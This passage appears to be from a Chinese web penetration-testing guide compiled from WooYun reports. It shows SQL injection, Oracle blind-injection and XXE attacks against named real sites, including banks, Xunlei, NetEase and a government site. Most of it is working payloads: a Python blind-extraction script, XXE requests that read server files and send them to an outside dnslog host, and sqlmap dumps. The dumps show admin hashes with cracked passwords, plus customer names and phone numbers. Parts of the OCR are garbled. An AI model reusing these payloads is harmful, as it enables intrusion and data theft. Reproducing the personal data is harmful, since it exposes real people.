首页 个人金融 公司金融 小企业金融 国際	际业务 卡业务 电子银行 金融投资 关于阜银
1889/1953 V 1974	25//
> 雇自總國平 物时尚丽人	
> 阜新银行2012年 "阜银你最棒" 才艺比	赛
> 盈利宝43号	
> 让青春在平凡的岗位上绽放光彩	
> 人民币存款利率	
> 以服务全行为核心以文化建设为统领	

漏洞证明:

工具跑不了

```
1' or length(database())=7 and 1=1 or '1'='
1' or ascii(mid((database()), 1, 1))=102 and 1=1 or '1'=' f
1' or ascii(mid((database()), 2, 1))=120 and 1=1 or '1'=' x
1' or ascii(mid((database()), 3, 1))=45 and 1=1 or '1'=' -
1' or ascii(mid((database()), 4, 1))=98 and 1=1 or '1'=' b
1' or ascii(mid((database()), 5, 1))=97 and 1=1 or '1'=' a
1' or ascii(mid((database()), 6, 1))=110 and 1=1 or '1'=' n
1' or ascii(mid((database()), 7, 1))=107 and 1=1 or '1'=' k
fx-bank
1' or ascii(mid(version(), 1, 1))=53 and 1=1 or '1'=' m
1' or ascii(mid(version(), 2, 1))=46 and 1=1 or '1'='.
1' or ascii(mid(version(), 3, 1))=53 and 1=1 or '1'=' 5
1' or ascii(mid(version(), 4, 1))=46 and 1=1 or '1'='.
1' or ascii(mid(version(), 5, 1))=50 and 1=1 or '1'=' 2
1' or ascii(mid(version(), 6, 1))=49 and 1=1 or '1'=' 1
1' or ascii(mid(version(),7,1))=45 and 1=1 or '1'=' -
1' or ascii(mid(version(), 8, 1))=108 and 1=1 or '1'=' 1
1' or ascii(mid(version(), 9, 1))=111 and 1=1 or '1'=' o
1' or ascii(mid(version(), 10, 1))=103 and 1=1 or '1'=' g
m. 5. 21-log
1' or ascii(mid(user(),1,1))=114 and 1=1 or '1'=' r
1' or ascii(mid(user(), 2, 1))=111 and 1=1 or '1'=' o
1' or ascii(mid(user(),3,1))=111 and 1=1 or '1'=' o
1' or ascii(mid(user(), 4, 1))=116 and 1=1 or '1'=' t
1' or ascii(mid(user(), 5, 1))=64 and 1=1 or '1'=' @
1' or ascii(mid(user(), 6, 1))=108 and 1=1 or '1'=' 1
root@localhost
```

a.e时间盲注

案列:迅雷一处时间盲注

抓的 post 包

POST /location/upload_peerinfo HTTP/1.1 Host: interface.xl9.xunlei.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: sessionid=CC824A20602118045BF9B8150499AD86; userid=50947382; peerid=50E549E88890F5GQ; client=pc; v=7.10.33.358 Connection: keep-alive Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 74 {"cpu":"", "devicename":"ZHONGWEN", "devicetype":"pc", "imei":"", "memory":""}

devicename\devicetype 都是注入点

```
Parameter: JSON devicename ((custom) POST)
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
   Payload: {"cpu":"", "devicename":"ZHONGWEN' AND (SELECT * FROM
   (SELECT (SLEEP (5)))DEhT) AND
'AgGq'='AgGq", "devicetype":"pc", "imei":"", "memory":""}
Parameter: JSON devicetype ((custom) POST)
   Type: AND/OR time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
   Payload: {"cpu":"", "devicename":"ZHONGWEN", "devicetype":"pc' AND (SELECT *
FROM (SELECT (SLEEP (5)))KNUs) AND 'HTgX'='HTgX", "imei":"", "memory":""}
```

available databases [6]: [*] `x19\x81\x81omplain` [*] information_schema [*] x [*] x19_location [*] x19_tracer [*] x19_tracer [*] x19_user_ip_loc
(15:55:53] [INF0] fetching tables for database: `x19_user_ip_loc' [15:55:53] [INF0] fetching number of tables for database `x19_user_ip_loc' [15:55:53] [INF0] resumed: 257

x19_user_ip_loc 这个库挺大的 都是用户记录的 ip 吧 。

a.fOracle 盲注

案列:新疆人社厅 Oracle 盲注(附验证脚本)

注入地址:

http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151
590e127808da' AND length(SYS_CONTEXT('USERENV', 'CURRENT_USER'))=3 AND 'xxx'='xxx

参数 id 过滤不严格导致 SQLi

http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151
590e127808da' AND length (SYS_CONTEXT ('USERENV', 'CURRENT_USER'))=3 AND 'xxx'='xxx

返回正常



http://**.**.**.**/wcm/cm_ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e0151
590e127808da' AND length(SYS_CONTEXT('USERENV', 'CURRENT_USER'))=4 AND 'xxx'='xxx

Logd URL	http://www.xjrs.gov.cn/wcm/cm_ly/goToLycont.action?fhtype=1	xid=8a4ac70250f05d9e0151590e127808da' AND length(SYS_CONTEXT('USERENV','	CURRENT_USER'))=4 AND 'xxx'='xxx
0	Enable Post data Enable Referrer		
		<pre>provide scale of the scale</pre>	(日本) † 35% + 182% (1825) (1825) (19
		null (今)返回	www.wooyun.org

返回不一样,判断用户名为3个字符 直接放进脚本跑。这里举例 CURRENT_USER 和 OS_USER,其他类似

#!/usr/bin/env python
-*- coding: utf-8 -*-

```
# @Author:
import requests
url =
"http://**.**.**.**/wcm/cm ly/goToLycont.action?fhtype=1&id=8a4ac70250f05d9e015
1590e127808da"
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789@_.'
header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0",
    "Cookie": JSESSIONID=5V1JX jMpQLtR92Rx J62KrMQLfY4t6xpdQCBfcXLHtT2vz4 jsT7Gr!1
478879510",
            "Accept":""
        }
def getData():
    user=''
    for i in range (1, 4, 1):
        for exp in list(payloads):
            try:
                payload = "'AND
substr(SYS CONTEXT('USERENV', 'CURRENT USER'), %s, 1) = '%s' AND 'xxx' = 'xxx" %
(i, ''. join(exp))
                r = requests.get(url +
payload, headers=header, allow_redirects=False, timeout=100)
                res = r.text
                #print exp
                if res.find("20151130234113") >0 :
                    user+=exp
                    print '\n user is:', user,
            except:
                pass
    print '\n[Done] Oracle user is %s' %user
def getDataBase():
   user=''
    for i in range (0, 13, 1):
        for exp in list(payloads):
            try:
                payload = "'AND
substr(SYS_CONTEXT('USERENV', 'OS_USER'), %s, 1) = '%s' AND 'xxx' = 'xxx" %
(i, ''. join(exp))
                r = requests.get(url +
payload, headers=header, allow redirects=False, timeout=100)
                res = r.text
```

验证结果:

```
C:\Python27>python oracle-x.py
user is: R
user is: RS
user is: RST
[Done] Oracle user is RST
OS_USER is: A
OS_USER is: AA
OS_USER is: AAd
OS_USER is: AAdm
OS_USER is: AAdmi
OS_USER is: AAdmin
OS_USER is: AAdmini
OS_USER is: AAdminis
OS_USER is: AAdminist
OS_USER is: AAdministr
OS_USER is: AAdministra
OS_USER is: AAdministrat
OS_USER is: AAdministrato
[Done] Oracle OS_USER is AAdministrato WWW.WOOYUN.Org
```

a.gXxe 盲注

案列:利用网易一处 XXE 盲注演示如何通过 cloudeye 配合实现文件内容读取

野生 xm1 外部实体注入

地址: http://106.2.32.66:8080/webdav/

ip138.com IP查询(搜索IP地址的地理位置)

您查询的IP:106.2.32.66

- 本站主数据: 浙江省杭州市 广州网易计算机系统有限公
- 司 BGP多线 ● 参考数据一:北京市 普天科创实业有限公司 WWW.WOOyUN.Org

存在一处 webdav 目录,支持通过 PROPFIND 方式提交 xml 结构请求构造 xxe 测试 payload:

```
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtz3zkd [
  <!ENTITY % dtd SYSTEM "http://66ae2b.dnslog.info/">
%dtd: ]>
<propfind xmlns="DAV:"><allprop/></propfind></propfind>
```

cloudeye apache 日志:

域名	DNS	Apache
66ae2b.dnslog.info	DNS日志(0) 清空	Apache目志(1)
Turne Law		
Irace Log:		
[28/Apr/2016:14:43:52 +0800] 106.2.32.66	66ae2b.dnslog.info GET / HTTP/1.1 200 "Java/1.6.0_36" "-"	
		www.wooyun.org

response 返回数据:

<?xml version="1.0" encoding="utf-8" ?>

```
<multistatus xmlns="DAV:"><response><href>/webdav/</href>
<propstat><prop><creationdate>2015-07-13T12:13:57Z</creationdate>
<displayname><![CDATA[]]></displayname>
<resourcetype><collection/></resourcetype>
<source></source>
<supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/>
</locktype></lockentry><lockscope><shared/></lockscope><locktype><wr
ite/></locktype></lockentry></supportedlock>
</prop>
<status>HTTP/1.1 200 0K</status>
</propstat>
</propstat>
</propstat>
```

证明解析 xml 时尝试引用了外部资源,存在 XXE 漏洞

后续尝试构造 xml 请求获取回显失败,考虑继续通过 cloudeye 获取 blind xxe 回显结果。 创建一个获取回显结果的 dtd 文件:

```
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM
'http://66ae2b.dnslog.info/?xml1=%payload;'>">
%all;
```

调用地址:http://*.*.*: 8080/xml/evil.dtd 再次构造请求 payload 读取 hostname:

```
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % payload SYSTEM "file:///proc/sys/kernel/hostname">
  <!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
```

%dtd; %send;]> <propfind xmlns="DAV:"><allprop/></propfind>

cloudeye apache 日志:

1.8.4	210	•
專名	DNS	Apache
66ae2b.dnslog.info	DNS日志(0) 清空	Apache日志(2) 清空
Trace Log:		
[28/Apr/2016:14:43:52 +0800] 106.2.32.66 66ae2b.dnslog.info [28/Apr/2016:14:55:58 +0800] 106.2.32.66 66ae2b.dnslog.info	GET / HTTP/1.1 200 "Java/1.6.0_36" "-" GET /?xml1=classa-popoatispam1 HTTP/1.1 200 "Java/1.6.0_36" "-"	
		www.wooyun.org

获取的 hostname 为: classa-popoatispaml, 貌似是网易 popo 的反垃圾邮件系统 由于读取带有换行符、#、<、>等特殊符号文件内容时, 会破坏 xml 语法结构, 导致 payload 无法正常解析,所以还做不到任意文件读取,可以尝试寻找 base64、urlencode 编码方法来 解决,反正我是没有搞定/(T o T)/^{~~} 但是也可以读到好多有价值的内容,比如读取/etc/issue.net:

```
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % payload SYSTEM "file:///etc/issue.net">
  <!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd:
%send;
]>
<propfind xmlns="DAV:"><allprop/></propfind></propfind>
```

结果为: Debian%20GNU/Linux%207

域名	DNS	Apache
66ae2b.dnslog.info	DNS日志(0) 清空	Apache日志(3)
Trace Log:		
[28/Apr/2016:14:43:52 +0800] 106.2.32.66 66ae2b.dnslog.info [28/Apr/2016:14:55:58 +0800] 106.2.32.66 66ae2b.dnslog.info [28/Apr/2016:15:06:55 +0800] 106.2.32.66 66ae2b.dnslog.info	GET / HTTP/1.1 200 "Java/1.6.0_36" "-" GET //7xml1=classa-popoatispam1 HTTP/1.1 200 "Java/1.6.0_36" "-" GET /?xml1=Deblan%20GNU/Linux%207 HTTP/1.1 200 "Java/1.6.0_36" "-"	
	W	ww.wooyun.org

读取/etc/ssh/ssh_host_rsa_key.pub:

```
PROPFIND /webdav/ HTTP/1.1
Content-type: application/xml
Depth: 0
Connection: Keep-alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106.2.32.66:8080
Content-Length: 172
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % payload SYSTEM "file:///etc/issue.net">
  <!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
1>
<propfind xmlns="DAV:"><allprop/></propfind></propfind>
```

结果为:

 $ssh-rsa\%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7K1c4/W1cwkcvqOeMfnCS\\ 4sSmT+fsQ1FMY+h6Ab+xQrvrhp4ufIN/iR92SMeIYLCxg+DSIXKdxKob91uJKdF/z14UY/qTmRaQaAP\\ 1AgZsPHnBMKT5BW08ZMX+NzH8jQQx6xHCkx4Bqom88NMfePN0ydYwGzehS/7oh0s9JYgo8knTJ6eke7\\ y/ohtzMLjCoBQHfAOTtyRPoFSyfc2ksU/rZ0vAPteQvmhyc1geAmngcGV0eabzhSmNHcrxqeKZ5wK7z\\ OmoGeoEZrfxADCH1Dbf6P+XJ3HjgDZg1iBHNH4hjkdNGkVCaxpRg9CD+V/G3Ddn0X1%20root@class\\ a-popoatispam1$

域名	DNS	Apache		删除
66ae2b.dnslog.info	DNS日志(0) 清空	Apache日志(4)	清空	清空全部
Trace Log.				
Hate Log:				
[28/Apr/2016:14:43:52 +0800] 10 [28/Apr/2016:14:55:58 +0800] 10 [28/Apr/2016:15:06:55 +0800] 10 [28/Apr/2016:15:08:40 +0800] 10 rsa%20AAAAB3NzaC1yc2EAAA/ IYLCxg+DSIXKdxKob9luJKdF/zl/ eke7y/ohtzMLJCoBQHfAOTtyRPt NH4hjkdNGkVCaxpRg9CD+V/G3	06.2.32.66 66ae2b.dnslog.info GET / HT 16.2.32.66 66ae2b.dnslog.info GET /?xn 16.2.32.66 66ae2b.dnslog.info GET /?xn 16.2.32.66 66ae2b.dnslog.info GET /?xn ADAQABAAABAQCcdWadpFCGUL9soWpo UV/qTnRaQaAPIAgZsPHnBMKT5BW08ZI JFSyfc2ksU/rZOvAPteQvmhyc1geAmngcG 3Ddn0XI%20root@classa-popoatispam1 HT	TP/1.1 200 "Java/1.6.(nl1=classa-popoatispar nl1=Debian%20GNU/Li nl1=ssh- 7KIc4/WicwkcvqOeMfr MX+NzH8jQQx6xHCkx V0eabzhSmNHcrxqeK TTP/1.1 200 "Java/1.6.	D_36" "-" m1 HTTP/1.1 200 "Java/1.6 inux%207 HTTP/1.1 200 "J nCS4sSmT+fsQ1FMY+h6Al 4Bqom88NMfePN0ydYwGz ZöwK7zOmoGeoEZrfxADC 0_36" "-"	.0_36" "-" ava/1.6.0_36" "-" b+xQrvrhp4ufIN/iR92SMe teh5/7oh0s9JYgo8knTJ6 HIDbf6P+XJ3HjgDZg1IBH VW.WOOYUN.Org

b. 自动化工具检测注入

EMA. CHARACTER_SETS GROUP BY x)a)	
Type: AND/OR time-based blind Title: MySOL >= 5.0.12 AND time-based blind (SELECT) Payload: id=4295T AND (SELECT + FROM (SELECT(SLEEP(b)))Ymsv)	
Type: UNION query Tille: Generic UNION query (NULL) - 1 column Payland: id=-1140 UNION ALL SELECT CONCATIOXTISZT956571,0X4d7a444e5h597245715 #6a584d505246544e47796d6947537164474e615879756a590664594b5#6c.0X717#6278571)	
<pre>10 121 452 11000 The back and 5000 10 4930. web server operation system Windows 2008 R2 or T web application technology PHP 5.4.45. Microsoft IIS 7.5 back and BBMS: MySQL 5.0 (10.12.45) [INEO] totaling database names 10.12.451 [INEO] the SQL query used neturns 4 entries 10.12.451 [INEO] the SQL query used neturns 4 entries 10.12.451 [INEO] the SQL query used neturns 4 10.12.451 [INEO] resumed away 10.12.451 [INEO] resumed away 10.12.451 [INEO] resumed sava 10.12.451 [INEO] resumed sava 10</pre>	
L10.12(45) L1NF01 fetchéd data logged to text files under "/root/ sqlwap/output/ www.wanyiwang.com"	
(*) shutting down at 10:12:45	向 令乐师神
[root@localhost sqlwap]# "C [root@localhost sqlwap]# ∎	这一唯品会受到应急响应中心
C dream@localhost.tho 11 (dream@localhost.tho	

案例:兴业银行某站存在 SQL 注入

http://shop.cib.com.cn//?m=product&s=detail&id=457 存在注入

🚾 管理员: sqlmap.exe Microsoft Windows [版本 6.1.7601] ×. 版权所有 <c> 2009 Microsoft Corporation。保留所有权利。 C:\Python27\sqlmap>sqlmap.py -u "http://shop.cib.com.cn//?m=product&s=detail&id= 457" <1.0.7.15#dev> Ξ http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 07:03:23 sqlmap resumed the following injection point(s) from stored session: Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: m=product&s=detail&id=457 OR NOT 1698=1698# Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause (FLOOR) Payload: m=product&s=detail&id=457 AND (SELECT 1727 FROM(SELECT COUNT(*),CON CAT<0x716b707071,<SELECT <ELT<1727=1727,1>>>,0x71717a7071,FL00R<RAND<0>*2>>x FR0 M INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: m=product&s=detail&id=457 AND SLEEP(5> [07:03:24] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0 back-end DBMS: MySQL 7- 3.0 [07:03:24] [INF0] fetched data logged to text files under 'C:\Users\Administratg WWW.WOOVUN.OIG \.sqlmap\output\shop.cib.com.cn'

```
ன 管理员: salmap.exe
                                                                       Microsoft Windows [版本 6.1.7601]
                                                                                  .
版权所有 <c> 2009 Microsoft Corporation。保留所有权利。
C:\Python27\sqlmap>sqlmap.py -u "http://shop.cib.com.cn//?m=product&s=detail&id=
457" --tables
                          <1.0.7.15#dev>
                                                                                  Ξ
                1.121
          H
                          http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 07:04:18
07:04:18] [INFO] resuming back-end DBMS 'mysql'
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: m=product&s=detail&id=457 OR NOT 1698=1698#
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)
    Payload: m=product&s=detail&id=457 AND <SELECT 1727 FROM<SELECT COUNT(*),CON
CAT<0x716b707071,<SELECT <ELT<1727=1727,1>>>,0x71717a7071,FL00R<RAND<0>*2>>x FR0
1 INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a>
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: m=product&s=detail&id=457 AND SLEEP(5)
[07:04:18] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
07:04:18] [INFO] fetching database names
07:04:18] [INFO] the SQL query used returns 3 entries
 07:04:18] [INFO] resumed: information_schema
                                                           www.woovun.o
                                                                                  q
 07:04:19] [INFO] the SQL query used returns 182 entries
```

📧 管理员: sqlmap.exe	- P	23
Database: mallbuilder		
[131 tables]		
++		
¦ mallbuilder_activity ¦		
mallbuilder_activity_product_list		
¦ mallbuilder_admin :		
¦ mallbuilder_admin_group		
¦ mallbuilder_admin_menu		
<pre>+ mallbuilder_admin_operation_log</pre>		
¦ mallbuilder_advs ¦		
¦ mallbuilder_advs_con :		
¦ mallbuilder_after ¦		
mallbuilder_announcement		
mallbuilder_apply		
¦ mallbuilder_brand		
i mallbuilder_brand_cat i		
i mallbullder_contags i		=
i mallbuilder_cron		
<pre>/ mallbuilder_custom_cat // // // // // // // // // // // // //</pre>		
! mallbuilder_custom_service i		
! mallbuilder defind 2		
: mallbuilder deliverv address		
mallbuilder distribution analyse shop		
¦ mallbuilder_distribution_commission_cat		
<pre>{ mallbuilder_distribution_commission_level {</pre>		
<pre>{ mallbuilder_distribution_commission_product }</pre>		
mallbuilder_distribution_commission_shop		
<pre>! mallbuilder_distribution_config</pre>		
<pre>{ mallbuilder_distribution_product }</pre>		
mallbuilder_distribution_product_buy_order		
mallbuilder_distribution_product_order		
mallbuilder_distribution_shop		
mallbuilder_distribution_user		
i mallbullder_distribution_user_adv i		
<pre>/ mallbuilder_distribution_user_order ///////////////////////////////////</pre>		
! mallbuilder_distribution_user_product		
<pre>! mallbuilder distribution user settlement !</pre>		
mallbuilder district		
¦ mallbuilder_fast_mail		
¦ mallbuilder_feed :		
mallbuilder_filter_keyword		
<pre>+ mallbuilder_logistics_temp +</pre>		
¦ mallbuilder_logistics_temp_con		
mallbuilder_mail_mod		
mallbuilder_mail_record		
i mallbuilder_member		
i mallbullder_member_card i		
i mallbuilder_member_cara_temp i		
! mallbuilder_member_grade		
l mallbuilder message		
¦ mallbuilder msg record		
¦ mallbuilder_nav		
¦ mallbuilder_news		
¦ mallbuilder_news_data		
¦ mallbuilder_newscat		
¦ mallbuilder_page_rec		
¦ mallbuilder_page_view {		
mallbuilder_points WWW.WO	oyun.c	9
mallbuilder_points_cat		Ψ.

🔤 管理员: sqlmap.exe		đ	23
REFERENTIAL CONSTRAINTS			
ROUTINES			
I SCHEMATA			
SCHEMA_PRIVILEGES			
SESSION_STATUS			
SESSION_VARIABLES			
STATISTICS			
: TABLES			
TABLE_CONSTRAINTS			
I TABLE_PRIVILEGES			
I TRIGGERS			
USER_PRIVILEGES			
I UIEWS I			
++			
Database: mysql			
LZ3 tables]			
beln category			
help_savegery			
help relation			
help topic			
host			
ndb_binlog_index			
¦ plugin ¦			
l proc			
ł procs_priv			
servers			
l slow_log			
tables_priv			
¦ time_zone ¦			
¦ time_zone_leap_second			
time_zone_name			
time_zone_transition			
time_zone_transition_type			
f [07:04:19] [INFO] fetched data logged to text files under 'C:XIsers Ad r\.sqlmap\output\shop.cib.com.cn'	sýui	ĥ.ô	i°g

🚾 管理员: sqlmap.exe Microsoft Windows [版本 6.1.7601] . 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Python27\sqlmap>sqlmap.py -u "http://shop.cib.com.cn//?m=product&s=detail&id= 457" --current-db . . {1.0.7.15#dev} Ē 1.121 ł . . . http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 07:06:48 sqlmap resumed the following injection point(s) from stored session: Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: m=product&s=detail&id=457 OR NOT 1698=1698# Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause (FLOOR) Payload: m=product&s=detail&id=457 AND (SELECT 1727 FROM(SELECT COUNT(*),CON CAT<0x716b707071,<SELECT <ELT<1727=1727,1>>>,0x71717a7071,FL00R<RAND<0>*2>>x FR0 M INFORMATION SCHEMA.CHARACTER SETS GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: m=product&s=detail&id=457 AND SLEEP(5> [07:06:48] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0 07:06:481 [INFO] resumed: mallbuilder 'mallbuilder' current database: Current database: Mailbullaer [07:06:48] [INF0] fetched data logged to text files under 'C:\Users\Administrato WWW.WOOYUN.OIG

🚾 管理员: sqlmap.exe 07:381 [INF0] resumed: test 07:07:381 [INF0] resumed: 18616318329 07:07:38] [INFO] resumed: 96e79218965eb72c92a549dd5a330112 07:07:38] [INFO] resumed: 18616325255 07:07:38] [INFO] resumed: 唐 07:07:38] [INF0] resumed: 96e79218965eb72c92a549dd5a330112 [07:07:38] [INFO] resumed: im_tangyf@163.com [07:07:38] [INFO] resumed: 富商唐 [07:07:38] [INFO] resumed: 96e79218965eb72c92a549dd5a330112 [07:07:38] [INFO] analyzing table dump for possible password hashes do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n do you want to crack them via a dictionary-based attack? [Y/n/q] y 07:07:42] [INFO] resuming password 'test' for hash '098f6bcd4621d373cade4e83262 h4f6 what dictionary do you want to use? [1] default dictionary file 'C:\Python27\sqlmap\txt\wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files do you want to use common password suffixes? (slow!) [y/N] n [07:07:44] [INFO] starting 4 processes [07:07:56] [INFO] postprocessing table dump Database: mallbuilder Table: mallbuilder_admin [7 entries] l name | password user NULL admin 1 9b5b68054ab565a97a6197d077978a78 18016006163 + 18016006163 + 96e79218965eb72c92a549dd5a330112 (11111) | 594f803b380a41396ed63dca39503542 (aaaaa) aaaaa l aaaaa { 098f6bcd4621d373cade4e832627b4f6 (test) test 18616318329 + 96e79218965eb72c92a549dd5a330112 (111111) : 唐彦飞 18616325255 + 96e79218965eb72c92a549dd5a330112 (111111) im_tangyf@163.com ! 富商唐 | 96e79218965eb72c92a549dd5a330112 (111111) 07:07:56] [INFO] table 'mallbuilder.mallbuilder_admin' dumped to CSV file 'C:\U ers\Administrator\.sqlmap\output\shop.cib.com.cn\dump\mallbuilder\mallbuilder_ \.sglmap\output\shop.cib.com.cn' www.wooyun.ol g

💛 < > C 🌢	兴业银行 至- http	://shop. ci	b.com.cn	admin/ma	in.php					0 <i>E</i>	🛿 🗸 🔍 世上最美的公路	<u>∽ ∺∺+E</u> ⊖ 🛛 Ξ
D 🏫 (0度 - 🎫 14茶 🎬 百)	奮 🔂 SEO 線合 🚺 www	uaiz									: 諸部展 - (1)用根	- 副翻译 - 編載図 - 同語成 - 戸登録書
MallBuilder	首页 访	躍 产	品 会员	店铺	交易	言葉	网站	耳具	支付后台			💄 1999: admin 退出 支付后台 首页
 订单管理 	会员名											
 售后问题 	订单状态	所有			×	1						
	选择时间			-								
		渡	*									
	订单编号		订单状态						价格	X ¥	订购时间	操作
	160712031626001		等待买家	付款					460.00	曲志军/13589770580	2016-07-12 03:16	57 L
	160711114432001		等待买家	付款					127.00	苏文金/15306058632	2016-07-11 23:44	19 A
	160711113757001		等待买家	付款					336.00	取少强/13905955583	2016-07-11 23:37	<i>₩</i>
	160711113036001		等待买家	付款					336.00	聊少强/13005955583	2016-07-11 23:30	91
	160711084429001		等待买家	付款					1,489.00	宋网强/13716136008	2016-07-11 20:44	<i>□]</i>
	160711081526001		等待买家	付款					89.00	黄伟镕/13431811249	2016-07-11 20:15	19 A
	160711065631001		等待买家	付款					1,580.00	王趨趨/18261178588	2016-07-11 18:56	<i>₩</i>
	160711061009001		买家已付	R					1,638.00	石家庄市桥西区金利班劳蕃家园5-3-402/15632384881	2016-07-11 18:10	19 J
	160711051401001		交易关闭						119.00	于瘛/18605231058	2016-07-11 17:14	<i>₩</i>
	160711033157001		买家已付	R					89.00	范雎/15270692658	2016-07-11 15:31	54 J
	160711032507001		等待买家	付款					163.00	刘塽连/13652546902	2016-07-11 15:26	<i>₩</i>
	160711032358001		等待买家	付款					105.00	湿静/13911353800	2016-07-11 15:23	19 A
	160711010146001		买家已付	<u>R</u>					89.00	申霍杰/18431995633	2016-07-11 13:01	S. 1
	160711122212001		等待买家	付款					160.00	学兆法/18369768864	2016-07-11 12:22	91
	160711120949001		等待买家	付款					310.00	李兆法/18369768664	2016-07-11 12:09	57 J
	160711120534001		等待买家	付款					421.00	李兆法/18369768664	2016-07-11 12:06	19 A
	160711115448001		交易关闭						165.00	刘柳棵/13899887892	2016-07-11 11:54	<i>₩</i> .
Present in Indication	160711114018001		买家已付	R					89.00	王遗母//15815850998	2016-07-11 11:40	19 J
	160711112222001		买摩已付	軟					53.00	外运文/15103693863	2016-07-11 11:22	57 /
	160711104310001		交易关闭						3,160.00	杜全东/15637377119	2016-07-11 10:43	₩ 2 ×
owered by MalBuilder												第1页共 210页 WWW.WOOYUN.OF

2.4.2 Xss 测试

XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的 Web 客户端脚本注入攻击手段,通常指攻击者通过"HTML 注入"篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制 浏览器的一种攻击。

当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义, 或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动 态内容,就会导致存在跨站脚本漏洞。

按照"数据是否保存在服务器", XSS 被分为:反射型 XSS 和存储型 XSS。

